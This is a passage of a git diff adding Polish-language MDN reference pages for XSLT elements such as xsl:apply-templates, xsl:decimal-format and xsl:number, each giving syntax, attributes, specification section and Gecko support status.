{{ languages( { "en": "en/XSLT/decimal-format", "es": "es/XSLT/decimal-format", "fr": "fr/XSLT/decimal-format" } ) }} diff --git a/files/pl/web/xslt/element/apply-imports/index.html b/files/pl/web/xslt/element/apply-imports/index.html new file mode 100644 index 0000000000..5f8b4296f7 --- /dev/null +++ b/files/pl/web/xslt/element/apply-imports/index.html @@ -0,0 +1,30 @@ +--- +title: apply-imports +slug: Web/XSLT/apply-imports +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/apply-imports +--- +

+{{ XsltRef() }} +

Element <xsl:apply-imports> jest elementem dosyć tajemniczym, używanym zazwyczaj w złożonych arkuszach. Pierwszeństwo importu wymaga, aby zasady szablonu w arkuszach głównych posiadały większą ważność niż zasady szablonu w arkuszach importowanych. Jednak czasami użyteczna jest możliwość zmuszenia procesora do użycia zasady szablonu z arkusza importowanego (o niższej ważności) niż równoważnej jej zasady z arkusza głównego. +

+

Składnia

+
<xsl:apply-imports/>

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu. +

+

Definicja

+

XSLT, sekcja 5.6. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/apply-imports", "es": "es/XSLT/apply-imports", "fr": "fr/XSLT/apply-imports" } ) }} diff --git a/files/pl/web/xslt/element/apply-templates/index.html b/files/pl/web/xslt/element/apply-templates/index.html new file mode 100644 index 0000000000..8165fda910 --- /dev/null +++ b/files/pl/web/xslt/element/apply-templates/index.html @@ -0,0 +1,35 @@ +--- +title: apply-templates +slug: Web/XSLT/apply-templates +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/apply-templates +--- +

+{{ XsltRef() }} +

Element <xsl:apply-templates> zaznacza zbiór węzłów w drzewie wejściowym i informuje procesor, aby zastosował do nich odpowiedni szablon. +

+

Składnia

+
<xsl:apply-templates select=WYRAZENIE mode=NAZWA>
+	<xsl:with-param> [opcjonalny]
+	<xsl:sort> [opcjonalny]
+</xsl:apply-templates>

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+
select +
Używa wyrażenia XPath do określenia, które węzły mają zostać przetworzone. Gwiazdka (*) zaznacza cały zbiór węzłów. Jeśli ten atrybut nie jest ustawiony, zaznaczone są wszystkie węzły-dzieci obecnego węzła. +
mode +
Wprowadza rozróżnienie, jeśli istnieje wiele sposobów zdefiniowanego przetwarzania tego samego węzła. +
+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu.

+

Definicja

+

XSLT sekcja 5.4. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/apply-templates", "es": "es/XSLT/apply-templates", "fr": "fr/XSLT/apply-templates" } ) }} diff --git a/files/pl/web/xslt/element/attribute-set/index.html b/files/pl/web/xslt/element/attribute-set/index.html new file mode 100644 index 0000000000..c936ae76dc --- /dev/null +++ b/files/pl/web/xslt/element/attribute-set/index.html @@ -0,0 +1,35 @@ +--- +title: attribute-set +slug: Web/XSLT/attribute-set +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/attribute-set +--- +

+{{ XsltRef() }} +

Element <xsl:attribute-set> tworzy nazwany zbiór atrybutów, który może być zastosowany jako całość do dokumentu wyjściowego w sposób podobny do stylów w CSS. +

+

Składnia

+
<xsl:attribute-set name=NAZWA use-attribute-sets=LISTA-NAZW>
+	<xsl:attribute>
+</xsl:attribute-set>
+

Wymagane atrybuty

+
name +
Określa nazwę zbioru atrybutów. Musi być poprawną wartością QName. +
+

Opcjonalne atrybuty

+
use-attribute-sets +
Buduje zbiór atrybutów z innego zbioru atrybutów. Nazwy tych zbiorów muszą być oddzielone za pomocą białych znaków (whitespace) i nie mogą bezpośrednio lub pośrednio osadzać się nawzajem. +
+

Typ

+

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. +

+

Definicja

+

XSLT, sekcja 7.1.4. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/attribute-set", "es": "es/XSLT/attribute-set", "fr": "fr/XSLT/attribute-set" } ) }} diff --git a/files/pl/web/xslt/element/attribute/index.html b/files/pl/web/xslt/element/attribute/index.html new file mode 100644 index 0000000000..aa3c94dca5 --- /dev/null +++ b/files/pl/web/xslt/element/attribute/index.html @@ -0,0 +1,34 @@ +--- +title: attribute +slug: Web/XSLT/attribute +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/attribute +--- +

+{{ XsltRef() }} +

Element <xsl:attribute> tworzy w dokumencie wyjściowym atrybut używając dowolnej wartości dostępnej z arkusza. Element musi być pierwszą rzeczy zdefiniowaną w dokumencie wyjściowym, dla którego ustala on wartość atrybutu. +

+

Składnia

+
<xsl:attribute name=NAZWA namespace=URI>
+	SZABLON
+</xsl:attribute>

Wymagane atrybuty

+
name +
Określa nazwę atrybutu, który ma zostać utworzony w dokumencie wyjściowym. Nazwa musi być poprawną wartością QName. +
+

Opcjonalne atrybuty

+
namespace +
Określa dla atrybutu URI przestrzeni nazw w dokumencie wyjściowym. Nie można za pomocą tego elementu ustawić pokrewnego prefiksu przestrzeni nazw. +
+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu lub elementu <xsl:attribute-set>. +

+

Definicja

+

XSLT, sekcja 7.1.3. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/attribute", "es": "es/XSLT/attribute", "fr": "fr/XSLT/attribute" } ) }} diff --git a/files/pl/web/xslt/element/call-template/index.html b/files/pl/web/xslt/element/call-template/index.html new file mode 100644 index 0000000000..283e041fec --- /dev/null +++ b/files/pl/web/xslt/element/call-template/index.html @@ -0,0 +1,32 @@ +--- +title: call-template +slug: Web/XSLT/call-template +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/call-template +--- +

+{{ XsltRef() }} +

Element <xsl:call-template> wywołuje szablon o podanej nazwie.

+

Składnia

+
<xsl:call-template name=NAZWA>
+	<xsl:with-param> [opcjonalnie]
+</xsl:call-template> 
+

Wymagany atrybut

+
name +
Określa nazwę szablonu, który ma zostać wywołany. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu.

+

Definicja

+

XSLT, sekcja 6. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/call-template", "es": "es/XSLT/call-template", "fr": "fr/XSLT/call-template" } ) }} diff --git a/files/pl/web/xslt/element/choose/index.html b/files/pl/web/xslt/element/choose/index.html new file mode 100644 index 0000000000..319ed34d09 --- /dev/null +++ b/files/pl/web/xslt/element/choose/index.html @@ -0,0 +1,35 @@ +--- +title: choose +slug: Web/XSLT/choose +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/choose +--- +

+{{ XsltRef() }} +

Element <xsl:choose> definiuje wybór spośród określonej liczby wyborów alternatywnych. Przypomina w działaniu wyrażenie switch znane z proceduralnych języków programowania. +

+

Składnia

+
<xsl:choose>
+	<xsl:when test="[cokolwiek do sprawdzenia1]"></xsl:when>
+	<xsl:when test="[cokolwiek do sprawdzenia2]"></xsl:when>
+     <xsl:otherwise></xsl:otherwise> [opcjonalnie]
+</xsl:choose>
+

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Instrukcja. Pojawia się wraz z szablonem. Zawiera jeden lub więcej elementów <xsl:when> i opcjonalnie końcowy element <xsl:otherwise>. +

+

Definicja

+

XSLT, sekcja 9.2. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/choose", "es": "es/XSLT/choose", "fr": "fr/XSLT/choose" } ) }} diff --git a/files/pl/web/xslt/element/comment/index.html b/files/pl/web/xslt/element/comment/index.html new file mode 100644 index 0000000000..0c0fa5cba8 --- /dev/null +++ b/files/pl/web/xslt/element/comment/index.html @@ -0,0 +1,31 @@ +--- +title: comment +slug: Web/XSLT/comment +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/comment +--- +

+{{ XsltRef() }} +

Element <xsl:comment> zapisuje komentarz do dokumentu wyjściowego. Może zawierać tylko tekst.

+

Składnia

+
<xsl:comment>
+	SZABLON
+</xsl:comment> 
+

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu.

+

Definicja

+

XSLT, sekcja 7.4. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/comment", "es": "es/XSLT/comment", "fr": "fr/XSLT/comment" } ) }} diff --git a/files/pl/web/xslt/element/copy-of/index.html b/files/pl/web/xslt/element/copy-of/index.html new file mode 100644 index 0000000000..c458c88fdc --- /dev/null +++ b/files/pl/web/xslt/element/copy-of/index.html @@ -0,0 +1,32 @@ +--- +title: copy-of +slug: Web/XSLT/copy-of +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/copy-of +--- +

+{{ XsltRef() }} +

Element <xsl:copy-of> tworzy głęboką kopię (włączając węzły potomka) cokolwiek atrybut select określi do dokumentu wyjściowego. +

+

Składnia

+
<xsl:copy-of select=WYRAZENIE /> 
+

Wymagane atrybuty

+
select +
Używa wyrażenia XPath, które określa co ma zostać skopiowane. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu. +

+

Definicja

+

XSLT, sekcja 11.3. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/copy-of", "es": "es/XSLT/copy-of", "fr": "fr/XSLT/copy-of" } ) }} diff --git a/files/pl/web/xslt/element/copy/index.html b/files/pl/web/xslt/element/copy/index.html new file mode 100644 index 0000000000..ffc164b603 --- /dev/null +++ b/files/pl/web/xslt/element/copy/index.html @@ -0,0 +1,32 @@ +--- +title: copy +slug: Web/XSLT/copy +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/copy +--- +

+{{ XsltRef() }} +

Element <xsl:copy> przenosi kopię powierzchni (węzeł i powiązany węzeł przestrzeni nazw) obecnego węzła do dokumentu wyjściowego. Nie kopiuje potomków lub atrybutów obecnego węzła.

+

Składnia

+
<xsl:copy use-attribute-sets=LISTA-NAZW>
+	SZABLON
+</xsl:copy>
+

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+
use-attribute-sets +
Lista zestawów atrybutu, które powinny być zastosowane do węzła wyjściowego, jeśli jest to element. Nazwy zestawów powinna być oddzielona za pomocą białych znaków. +
+

Typ

+

Instrukcja, pojawiająca się wewnątrz szablonu.

+

Definicja

+

XSLT, sekcja 7.5. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/copy", "es": "es/XSLT/copy", "fr": "fr/XSLT/copy" } ) }} diff --git a/files/pl/web/xslt/element/decimal-format/index.html b/files/pl/web/xslt/element/decimal-format/index.html new file mode 100644 index 0000000000..7effc29b96 --- /dev/null +++ b/files/pl/web/xslt/element/decimal-format/index.html @@ -0,0 +1,73 @@ +--- +title: decimal-format +slug: Web/XSLT/decimal-format +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/decimal-format +--- +

+{{ XsltRef() }} +

Element <xsl:decimal-format> definiuje znaki i symbole, które mają być użyte podczas konwersji liczb na łańcuchy znakowe przez funkcję format-number( ). +

+

Składnia

+
<xsl:decimal-format
+	name=NAZWA
+	decimal-separator=ZNAK
+	grouping-separator=ZNAK
+	infinity=ŁANCUCH-ZNAKOW
+	minus-sign=ZNAK
+	NaN=ŁANCUCH-ZNAKOW
+	percent=ZNAK
+	per-mille=ZNAK
+	zero-digit=ZNAK
+	digit=ZNAK
+	pattern-separator=ZNAK />
+

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+
name +
Określa nazwę formatu. +
+
decimal-separator +
Określa punktowy znak dziesiętny. Domyślną wartością jest (.). +
+
grouping-separator +
Określa separator tysięczny. Domyślną wartością jest (,). +
+
infinity +
Określa łańcuch znakowy używany do przedstawienia nieskończoności. Domyślną wartością jest łańcuch "Infinity". +
+
minus-sign +
Określa znak minusa. Domyślną wartością jest łącznik (-). +
+
NaN +
Określa łańcuch znaków, używany gdy wartość nie jest liczbą. Domyślnie jest to łańcuch "NaN". +
+
percent +
Określa znak procenta. Domyślną wartością jest (%). +
+
per-mille +
Określa znak promila. Domyślną wartością jest (). +
+
zero-digit +
Określa znak cyfry zero. Domyślną wartością jest (0). +
+
digit +
Określa znak, które we wzorze formatu reprezentuje cyfrę. Domyślną wartością jest (#). +
+
pattern-separator +
Określa znak rozdzielający dodatnie i ujemne podwzorce we wzorze formatu. Domyślną wartością jest średnik (;). +
+

Typ

+

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. +

+

Definicja

+

XSLT, sekcja 12.3. +

+

Gecko

+

Obsługuje od wersji 1.0 (Mozilla 1.0, Netscape 7.0). +

{{ languages( { "en": "en/XSLT/decimal-format", "es": "es/XSLT/decimal-format", "fr": "fr/XSLT/decimal-format" } ) }} diff --git a/files/pl/web/xslt/element/fallback/index.html b/files/pl/web/xslt/element/fallback/index.html new file mode 100644 index 0000000000..420a32dd23 --- /dev/null +++ b/files/pl/web/xslt/element/fallback/index.html @@ -0,0 +1,32 @@ +--- +title: fallback +slug: Web/XSLT/fallback +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/fallback +--- +

+{{ XsltRef() }} +

Element <xsl:fallback> określa, który szablon ma zostać użyty, gdy podane rozszerzenie (lub ostatecznie nowsza wersja) elementu jest nieobsługiwane. +

+

Składnia

+
<xsl:fallback>
+	SZABLON
+</xsl:fallback>

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu. +

+

Definicja

+

XSLT, sekcja 15 +

+

Gecko

+

W chwili obecnej nie obsługuje. +

{{ languages( { "en": "en/XSLT/fallback", "es": "es/XSLT/fallback", "fr": "fr/XSLT/fallback" } ) }} diff --git a/files/pl/web/xslt/element/for-each/index.html b/files/pl/web/xslt/element/for-each/index.html new file mode 100644 index 0000000000..d2f9d387e8 --- /dev/null +++ b/files/pl/web/xslt/element/for-each/index.html @@ -0,0 +1,32 @@ +--- +title: for-each +slug: Web/XSLT/for-each +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/for-each +--- +

+{{ XsltRef() }} +

Element <xsl:for-each> zaznacza zbiór węzłów i przetwarza każdy z nich w ten sam sposób. Element ten jest często używany do iteracji zbioru węzłów lub zmiany aktualnego węzła. Jeśli jeden lub więcej elementów <xsl:sort> pojawią się jako dzieci tego elementu, przez przetworzeniem zostanie wywołane sortowanie. W przeciwnym wypadku węzły są przetwarzane w kolejności, w jakiej pojawiają się w dokumencie. +

+

Składnia

+
<xsl:for-each select=WYRAZENIE>
+	<xsl:sort> [opcjonalnie]
+	SZABLON
+</xsl:for-each>

Wymagane atrybuty

+
select +
Używa wyrażenia XPath do zaznaczenia węzłów, które mają zostać przetworzone.
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu.

+

Definicja

+

XSLT, sekcja 8. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/for-each", "es": "es/XSLT/for-each", "fr": "fr/XSLT/for-each" } ) }} diff --git a/files/pl/web/xslt/element/if/index.html b/files/pl/web/xslt/element/if/index.html new file mode 100644 index 0000000000..888e264082 --- /dev/null +++ b/files/pl/web/xslt/element/if/index.html @@ -0,0 +1,33 @@ +--- +title: if +slug: Web/XSLT/if +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/if +--- +

+{{ XsltRef() }} +

Element <xsl:if> zawiera atrybut testowy i szablon. Jeżeli wyrażenie testowe zostanie ocenione jako prawdziwe, szablon jest przetwarzany. Element ten jest podobny do instrukcji if w innych językach, jednak aby uzyskać funkcjonalność instrukcji <tt>if-then-else</tt>, użyj elementu <xsl:choose> wraz z jego dziećmi: <xsl:when> i <xsl:otherwise>. +

+

Składnia

+
<xsl:if test=WYRAZENIE>
+	SZABLON
+</xsl:if>
+

Wymagane atrybuty

+
test +
Zawiera wyrażenie XPath, które może być ocenione (poprzez zasady zdefiniowane poprzez boolean( ) jeśli konieczne) jako wartość logiczna Boolean. Jeśli wyrażenie jest prawdziwe, szablon jest przetwarzany; jeśli nie, nie jest podejmowana żadna czynność. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu.

+

Definicja

+

XSL sekcja 9.1. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/if", "es": "es/XSLT/if", "fr": "fr/XSLT/if" } ) }} diff --git a/files/pl/web/xslt/element/import/index.html b/files/pl/web/xslt/element/import/index.html new file mode 100644 index 0000000000..ba7348198e --- /dev/null +++ b/files/pl/web/xslt/element/import/index.html @@ -0,0 +1,31 @@ +--- +title: import +slug: Web/XSLT/import +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/import +--- +

+{{ XsltRef() }} +

Element <xsl:import> jest elementem najwyższego poziomu, który służy do importowania zawartości jednego arkusza do innego. Ogólnie mówiąc zawartość arkusza importowanego posiada niższą ważność od zawartości arkusza importującego. Zostało to ustanowione w odróżnieniu od <xsl:include>, gdzie zawartości dwóch arkuszów - włączanego i włączającego - mają tę samę ważność. +

+

Składnia

+
<xsl:import href=URI  />

Wymagane atrybuty

+
href +
Określa URI arkusza stylów do importu. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Element najwyższego poziomu, musi pojawić się przed jakimkolwiek dzieckiem <xsl:stylesheet> lub <xsl:transform> w arkuszu importującym. +

+

Definicja

+

XSLT, sekcja 2.6.2. +

+

Gecko

+

Przeważnie obsługiwany, z kilkoma problemami ze zmiennymi i parametrami najwyższego poziomu, od wersji Mozilla 1.0. +

{{ languages( { "en": "en/XSLT/import", "es": "es/XSLT/import", "fr": "fr/XSLT/import" } ) }} diff --git a/files/pl/web/xslt/element/include/index.html b/files/pl/web/xslt/element/include/index.html new file mode 100644 index 0000000000..2a1a0f84b7 --- /dev/null +++ b/files/pl/web/xslt/element/include/index.html @@ -0,0 +1,31 @@ +--- +title: include +slug: Web/XSLT/include +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/include +--- +

+{{ XsltRef() }} +

Element <xsl:include> łączy zawartości dwóch arkuszy. W przeciwieństwie do <xsl:import>, zawartość arkusza włączanego ma tę samą ważność, co zawartość arkusza włączającego. +

+

Składnia

+
<xsl:include href=URI />

Wymagane atrybuty

+
href +
Określa URI arkusza stylów do włączenia. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Element najwyższego poziomu, może pojawić się w dowolnej kolejności jako dziecko <xsl:stylesheet> lub <xsl:transform>. +

+

Definicja

+

XSLT, sekcja 2.6.1. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/include", "es": "es/XSLT/include", "fr": "fr/XSLT/include" } ) }} diff --git a/files/pl/web/xslt/element/key/index.html b/files/pl/web/xslt/element/key/index.html new file mode 100644 index 0000000000..77b5245afd --- /dev/null +++ b/files/pl/web/xslt/element/key/index.html @@ -0,0 +1,36 @@ +--- +title: key +slug: Web/XSLT/key +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/key +--- +

+{{ XsltRef() }} +

Element <xsl:key> deklaruje nazwę klucza, który możemy zastosować gdziekolwiek w arkuszu stylów z funkcją key( ). +

+

Składnia

+
<xsl:key name=NAZWA match=WYRAZENIE use=WYRAZENIE /> 
+

Wymagane atrybuty

+
name +
Określa nazwę klucza. Musi być poprawną wartością QName. +
match +
Określa węzły, do których odnosi się klucz. +
use +
Określa wyrażenie XPath wykorzystywane do ustalenia wartości klucza dla każdego z węzłów. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. +

+

Definicja

+

XSLT, sekcja 12.2. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/key", "es": "es/XSLT/key", "fr": "fr/XSLT/key" } ) }} diff --git a/files/pl/web/xslt/element/message/index.html b/files/pl/web/xslt/element/message/index.html new file mode 100644 index 0000000000..38ea60cd32 --- /dev/null +++ b/files/pl/web/xslt/element/message/index.html @@ -0,0 +1,31 @@ +--- +title: message +slug: Web/XSLT/message +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/message +--- +

+{{ XsltRef() }} +

Element <xsl:message> zwraca komunikat (do konsoli JavaScript Console w NS) i opcjonalnie przerywa wykonywanie arkusza stylów. Może się okazać przydatny podczas debugowania. +

+

Składnia

+
<xsl:message terminate="yes" | "no" >
+	SZABLON
+</xsl:message>

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+
terminate +
Z wartością "yes" wskazuje, że wykonywanie powinno zostać przerwane. Domyślną wartością jest "no", w przypadku której zostaje zwrócony komunikat, a wykonywanie jest kontynuowane.
+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu.

+

Definicja

+

XSLT, sekcja 13. +

+

Gecko

+

Obsługuje. +

{{ languages( { "en": "en/XSLT/message", "es": "es/XSLT/message", "fr": "fr/XSLT/message" } ) }} diff --git a/files/pl/web/xslt/element/namespace-alias/index.html b/files/pl/web/xslt/element/namespace-alias/index.html new file mode 100644 index 0000000000..9ed3b83f10 --- /dev/null +++ b/files/pl/web/xslt/element/namespace-alias/index.html @@ -0,0 +1,33 @@ +--- +title: namespace-alias +slug: Web/XSLT/namespace-alias +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/namespace-alias +--- +

+{{ XsltRef() }} +

Element <xsl:namespace-alias> jest rzadko używanym narzędziem, które mapuje przestrzeń nazw w arkuszu stylów do innej przestrzeni nazw w drzewie wyjściowym. Najczęstszym zastosowaniem tego elementu jest generowanie arkusza stylów z innego arkusza. Aby zapobiec elementowi wyniku literałowego (LRE) z prefiksem xsl: przez byciem źle zrozumianym przez procesor (element ten powinien być po prostu skopiowany tak jak jest do drzewa wynikowego), jest on przypisywany do tymczasowej przestrzeni nazw, która jest odpowiednio przekonwertowana do przestrzeni nazw XSLT w drzewie wyjściowym. +

+

Składnia

+
<xsl:namespace-alias stylesheet-prefix=NAZWA result-prefix=NAZWA />

Wymagane atrybuty

+
stylesheet-prefix +
Określa tymczasową przestrzeń nazw. +
result-prefix +
Określa pożądaną przestrzeń nazw dla drzewa wyjściowego. +
+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. +

+

Definicja

+

XSLT, sekcja 7.1.1 +

+

Gecko

+

W chwili obecnej nie obsługuje. +

{{ languages( { "en": "en/XSLT/namespace-alias", "es": "es/XSLT/namespace-alias", "fr": "fr/XSLT/namespace-alias" } ) }} diff --git a/files/pl/web/xslt/element/number/index.html b/files/pl/web/xslt/element/number/index.html new file mode 100644 index 0000000000..e54b37df37 --- /dev/null +++ b/files/pl/web/xslt/element/number/index.html @@ -0,0 +1,98 @@ +--- +title: number +slug: Web/XSLT/number +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/number +--- +

+{{ XsltRef() }} +

Element <xsl:number> zlicza wszystko sekwencyjnie. Może być również zastosowany do szybkiego formatowania liczb.

+

Składnia

+
<xsl:number
+	count=WYRAŻENIE
+	level="single" | "multiple" | "any"
+	from=WYRAŻENIE
+	value=WYRAŻENIE
+	format=ŁAŃCUCH_ZNAKÓW_FORMATU
+	lang=XML:LANG-CODE
+	letter-value="alphabetic" | "traditional"
+	grouping-separator=SYMBOL
+	grouping-size=LICZBA  />

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+
count +
Określa co w drzewie źródłowym powinno zostać zliczone sekwencyjnie. Atrybut używa wyrażenia XPath. +
+
level +
Określa w jaki sposób poziomy drzewa źródłowego powinny być traktowane w generowaniu liczb sekwencyjnych. Atrybut posiada trzy prawidłowe wartości: single, multiple i any. Domyślną wartością jest single: +
+
single +
Zlicza węzły-rodzeństwo sekwencyjnie tak, jak pozycje na liście. Procesor idzie do pierwszego węzła w osi ancestor-or-self, który pasuje do atrybutu count i zlicza ten węzeł wraz z całym poprzedzającym go rodzeństwem (zatrzymując się po osiągnięciu odpowiednika atrybutu from, jeśli jakikolwiek istnieje), które również pasuje do atrybutu count. Jeśli nie znaleziono odpowiednich węzłów, sekwencja będzie pustą listą. +
+
+
multiple +
Zlicza węzły jako złożoną sekwencję, która odzwierciedla hierarchiczną pozycję węzła np. 1.2.2.5 (za pomocą atrybutu format można określić zagnieżdżony format np. A.1.1). Procesor patrzy na wszystkich przodków obecnego węzła i na sam węzeł, zatrzymując się po osiągnięciu odpowiednika atrybutu from, jeśli jakikolwiek istnieje. Dla każdego węzła na tej liście, który pasuje do atrybutu count, procesor zlicza ile poprzedzającego (i pasującego) rodzeństwa posiada on dodając również jeden dla samego węzła. Jeśli nie znaleziono odpowiednich elementów, sekwencja będzie pustą listą. +
+
+
any (Obecnie nieobsługiwany) +
Zlicza wszystkie pasujące węzły sekwencyjnie, niezależnie od ich poziomu. Brane są pod uwagę wszystkie osie ancestor, self i preceding. Procesor zaczyna od aktualnego węzła kontynuując w odwrotnym kierunku dokumentu, zatrzymując się po osiągnięciu odpowiednika atrybutu from. Jeśli nie znaleziono węzłów pasujących do atrybutu count, sekwencja będzie pustą listą. Ten poziom nie jest obecnie. +
+
+
from +
Określa gdzie powinno rozpocząć się zliczanie. Sekwencja rozpoczyna się od pierwszego potomka węzła pasującego do atrybutu from. +
+
value +
Stosuje podany format do liczby. Jest to szybki sposób na formatowanie liczb dostarczonych przez użytkownika (w przeciwieństwie do liczby sekwencyjnej węzła) w dowolnym ze standardowych formatów <xsl:number>. +
+
format +
Definiuje format generowanych liczb: +
+
format="1" +
<tt>1 2 3 . . .</tt> (Jest to jedyny obsługiwany obecnie format) +
+
+
format="01" +
<tt>01 02 03 . . . 09 10 11 . . .</tt> +
+
+
format="a" +
<tt>a b c . . .y z aa ab . . .</tt> +
+
+
format="A" +
<tt>A B C . . . Y Z AA AB . . .</tt> +
+
+
format="i" +
<tt>i ii iii iv v . . .</tt> +
+
+
format="I" +
<tt>I II III IV V . . .</tt> +
+
+
lang (Obecnie nieobsługiwany) +
Określa język, którego alfabet będzie stosowaniu w formatowaniu liczb opartym o litery. +
+
letter-value +
Wprowadza ujednoznacznienie między sekwencjami liczbowymi, które używają liter. Niektóre języki posiadają więcej niż jeden system liczbowy używający liter. Jeśli obydwa systemy zaczynają się tym samym znakiem, mogą powstać niejasności. Atrybut ten może posiadać wartość "alphabetic" (alfabetycznie) lub "traditional" (tradycyjnie). Domyślną wartością jest "alphabetic". +
+
grouping-separator +
Określa symbol jaki powinien zostać użyty jako separator grup. Domyślnym symbolem jest przecinek (,). +
+
grouping-size +
Wskazuje liczbę cyfr, z których składa się grupa numeryczna. Domyślną wartością jest "3". +
+

Typ

+

Instrukcja, pojawia się wewnątrz szablonu.

+

Definicja

+

XSLT, sekcja 7.7 +

+

Gecko

+

Częściowo obsługuje. Zobacz powyższe komentarze. +

{{ languages( { "en": "en/XSLT/number", "es": "es/XSLT/number", "fr": "fr/XSLT/number" } ) }} diff --git a/files/pl/web/xslt/element/otherwise/index.html b/files/pl/web/xslt/element/otherwise/index.html new file mode 100644 index 0000000000..7b3a02ace5 --- /dev/null +++ b/files/pl/web/xslt/element/otherwise/index.html @@ -0,0 +1,32 @@ +--- +title: otherwise +slug: Web/XSLT/otherwise +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XSLT/Element/otherwise +--- +

+{{ XsltRef() }} +

Element <xsl:otherwise> jest używany do zdefiniowania czynności, która jest wykonywana, gdy żaden z warunków <xsl:when> nie ma zastosowania. Element jest podobny do instrukcji else lub default znanej z innych języków programowania. +

+

Składnia

+
<xsl:otherwise>
+	SZABLON
+</xsl:otherwise>

Wymagane atrybuty

+

Brak. +

+

Opcjonalne atrybuty

+

Brak. +

+

Typ

+

Podinstrukcja, musi pojawić się wewnątrz szablonu jako ostatnie dziecko elementu <xsl:choose>. +

+

Definicja

+

XSLT, sekcja 9.2 +

+

Gecko

+

Obsługuje. +

